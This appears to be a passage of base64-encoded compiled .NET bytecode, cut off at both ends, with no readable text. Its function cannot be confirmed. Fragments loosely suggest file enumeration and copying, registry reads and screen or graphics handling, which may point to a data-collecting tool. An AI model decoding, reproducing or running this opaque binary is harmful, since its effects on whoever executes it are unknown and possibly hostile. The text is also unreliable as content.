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FygsAAAKExgIcvYhAHAoKAAAChMZAxEZERhv6AEABgl7JgIABHISIgBwERkoKQAACm8lAAAK3gMm3gAAGI2OAAABJRYfHCghAAAKcvofAHByRCIAcCg6AAAKoiUXHxooIQAACnL6HwBwckQiAHAoOgAACqITGhiNjgAAASUWHyooIQAACnL6HwBwclIhAHByWCIAcCgiAAAKoiUXHxwoIQAACnL6HwBwclIhAHByWCIAcCgiAAAKohEafsAAAAQlLRMmFP4GKgAACnOcAAAKJYDAAAAEKAcAACsTG37AAAAEJS0TJhT+BioAAApznAAACiWAwAAABCgHAAArExwRGywEERwtBd3QAQAAcnYiAHATHXKqIgBwEx4RHCgvAAAKER0olQAAChMfERsoLwAAChEeKJUAAAoTIBEfb54AAAosCREgb54AAAotBd2LAQAAcy0AAAoTIREfbzEAAAoTIjjHAAAAESJvGAAACnQaAAABEyMoSAAAChEjbzMAAAoXbzQAAApvNQAACm+LAAAKEyQRIG8xAAAKEyUrcHM4AgAGEyYRJhElbxgAAAp0GgAAAX3BAAAEFhEme8EAAARvNQAACm99AAAKGFsonwAAChEm/gY5AgAGc6AAAAooCAAAKygJAAArEycRJxEkFyijAAAKEygRIShIAAAKEShvSgAACm83AAAK3gwm3gARJW8VAAAKLYfeFREldRsAAAETKREpLAcRKW8UAAAK3BEibxUAAAo6Lf///94VESJ1GwAAARMpESksBxEpbxQAAArcESFvRgAAChYxUwhy2iIAcCgoAAAKEyoDESpy+wEAcBEhKDkAAApv6AEABgl7JgIABBEbco8AAHARKigkAAAKbyUAAAoJeyYCAAQRHHKPAABwESooJAAACm8lAAAK3gMm3gAJeyYCAARvVAAAChYxHAl7JgIABHLuIgBwbyUAAAoEe3MAAAQJbyYAAAoqQdwAAAIAAACZAAAA+wAAAJQBAAAMAAAAAAAAAAAAAABSAAAAowEAAPUBAAADAAAAFwAAAQAAAAD5AQAAcgAAAGsCAAADAAAAFwAAAQAAAABvAgAAfAAAAOsCAAADAAAAFwAAAQAAAADvAgAAkQAAAIADAAADAAAAFwAAAQAAAAAwBQAAIQAAAFEFAAADAAAAFwAAAQIAAADiBAAAfQAAAF8FAAAVAAAA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AAom3gAGcjEuAHAoHQEABigpAAAKb2oAAAomBnI/LgBwKH4AAAYoKQAACm9qAAAKJgZvZAAACigaAAArb3EAAAoqAAABHAAAAAASAElbAA8XAAABAABrADumAA8XAAABGzADAHUBAAA0AAARc2EAAAoKBnJXLgBwb2oAAAomBnJrLgBwKCYBAAYoKQAACm9qAAAKJnKHLgBwC3KHLgBwDCgwAQAKDRYTBDjvAAAACREEmhMFEQVvMQEAChdA1gAAABEFbzIBAAofGDvIAAAAEQVvMwEAChMGEQZvNAEACm81AQAKEwcrJxEHbzYBAAoTCBEIbzcBAApvOAEAChgzDxEIbzcBAApvZAAACgsrCREHbxUAAAot0N4MEQcsBxEHbxQAAArcEQZvOQEACm86AQAKEwkrMBEJbzsBAAoTChEKbzwBAAosHhEKbzwBAApvOAEAChgzDxEKbzwBAApvZAAACgwrCREJbxUAAAotx94MEQksBxEJbxQAAArcB3KHLgBwKD0BAAosDQhyhy4AcCg9AQAKLRARBBdYEwQRBAmOaT8H////3gMm3gAGcp8uAHAHKCkAAApvagAACiYGcrsuAHAIKCkAAApvagAACiYGb2QAAAooGgAAK29xAAAKKgAAAEFMAAACAAAAegAAADQAAACuAAAADAAAAAAAAAACAAAAyAAAAD0AAAAFAQAADAAAAAAAAAAAAAAANAAAAAkBAAA9AQAAAwAAABcAAAEbMAMAsQEAADUAABFzYQAACgoGct8uAHBvagAACiYGcmorAHAoWgEABigpAAAKb2oAAAomBnKEKwBwKFsBAAYoKQAACm9qAAAKJgZymisAcChcAQAGKCkAAApvagAACibeDyYGcvEuAHBvagAACibeAAB+TwAACnIRLwBwb5gAAAoLBy0DFCsLB3JvLwBwKGkAAAp1jgAAASUtICYHLQMUKwsHcpcvAHAoaQAACnWOAAABJS0GJnImIABwDAZyuS8AcAgoKQAACm9qAAAKJgZyzy8AcCg+AQAKjMAAAAEoEQEACm9qAAAKJt4KBywGB28UAAAK3N4PJgZy9S8AcG9qAAAKJt4AABIE/hXdAAACEgTQ3QAAAig/AQAKKEABAAp9twEABBEEDRIDKC8BAAYsXgl7uQEABCAABAAAalwgAAQAAGpcEwUJe7oBAAQgAAQAAGpcIAAEAABqXBMGBnIXMABwEQWMzgAAASgRAQAKb2oAAAomBnI/MABwEQaMzgAAASgRAQAKb2oAAAomKwwGcm8wAHBvagAACibeDyYGcm8wAHBvagAACibeAAZvZAAACigaAAArb3EAAAoqAAAAATQAAAAAEgBEVgAPFwAAAQIAdgBp3wAKAAAAAAAAZgCF6wAPFwAAAQAA+wCWkQEPFwAAARswAwDNAAAANgAAEXNhAAAKCgZykTAAcG9qAAAKJihBAQAKfvgAAAQlLRcmfvEAAAT+BnYCAAZzQgEACiWA+AAABCgbAAArfvkAAAQlLRcmfvEAAAT+BncCAAZzRAEACiWA+QAABCgcAAArKAUAACsLBygDAAArLDIHb0UBAAoMKxASAihGAQAKDQYJb2oAAAomEgIoRwEACi3n3hoSAv4WJgAAG28UAAAK3AZyozAAcG9qAAAKJt4PJgZywzAAcG9qAAAKJt4ABm9kAAAKKBoAACtvcQAACioAAAABHAAAAgB0AB2RAA4AAAAAAAASAJutAA8XAAABGzACAIAAAAA2AAARc2EAAAoKBnLrMABwb2oAAAomKH8AAAYLBygDAAArLDIHb0UBAAoMKxASAihGAQAKDQYJb2oAAAomEgIoRwEACi3n3hoSAv4WJgAAG28UAAAK3AZy9zAAcG9qAAAKJt4PJgZyATEAcG9qAAAKJt4ABm9kAAAKKBoAACtvcQAACioBHAAAAgAnAB1EAA4AAAAAAAASAE5gAA8XAAABGzADAHIAAAA3AAARc2EAAAoKBnIlMQBwb2oAAAomBnI1MQBwKEgBAAooKQAACm9qAAAKJt4PJgZyUTEAcG9qAAAKJt4AAAZygzEAcCgSAQAKKBEBAApvagAACibeDyYGcqUxAHBvagAACibeAAZvZAAACigaAAArb3EAAAoqAAABHAAAAAASABgqAA8XAAABAAA6ABhSAA8XAAABGzADAFAAAAA4AAARc3gCAAYKBn7VAAAKffoAAAQG/gZ5AgAGc0kBAApzSgEACiUWb0sBAAolF29MAQAKJW9NAQAKb04BAAreAybeAAZ7+gAABCUtBiZ+1QAACioBEAAAAAARACw9AAMXAAABGzAEAH4AAAA5AAARcy0AAAoKFgsSAv4V3gAAAhICCCgdAAArfcABAAQrQgh7wgEABCheAAAKLREGCHvCAQAEb7sAAApvNwAACgcXWAsSA/4V3gAAAhID0N4AAAIoPwEACihAAQAKfcABAAQJDBQHEgIWKDABAAYtst4DJt4ABigEAAArKAUAACsqAAABEAAAAAAGAGlvAAMXAAABHgIoJwAACioTMAYAiAIAADoAABECKIMAAAYlLQcmAiiEAAAGCgY5cAIAAAaOOWkCAAByXQAAcCh9AAAKAgZ+AAEABCUtFyZ+/wAABP4GfQIABnNQAQAKJYAAAQAEKIIAAAYotAAACgty1zEAcCh9AAAKAgZ+AQEABCUtFyZ+/wAABP4GfgIABnNQAQAKJYABAQAEKIIAAAYotAAACgxy3zEAcCh9AAAKAgZ+AgEABCUtFyZ+/wAABP4GfwIABnNQAQAKJYACAQAEKIIAAAYotAAACg1y/TEAcCh9AAAKAgZ+AwEABCUtFyZ+/wAABP4GgAIABnNQAQAKJYADAQAEKIIAAAYotAAAChMEcy0AAAoTBREFHY2OAAABJRZyXQAAcAcotQAACqIlF3I+JABwoiUYctcxAHAIKLUAAAqiJRlyPiQAcKIlGnLfMQBwCSi1AAAKoiUbcj4kAHCiJRxy/TEAcBEEKLUAAAqiKJoAAApvNwAAChEFHy0HCFgJWBEEWB8JWHO2AAAKbzcAAAoRBRMGBhMHFhMIONwAAAARBxEImhMJEQl7+wAABChFAAAKLQkRCXv7AA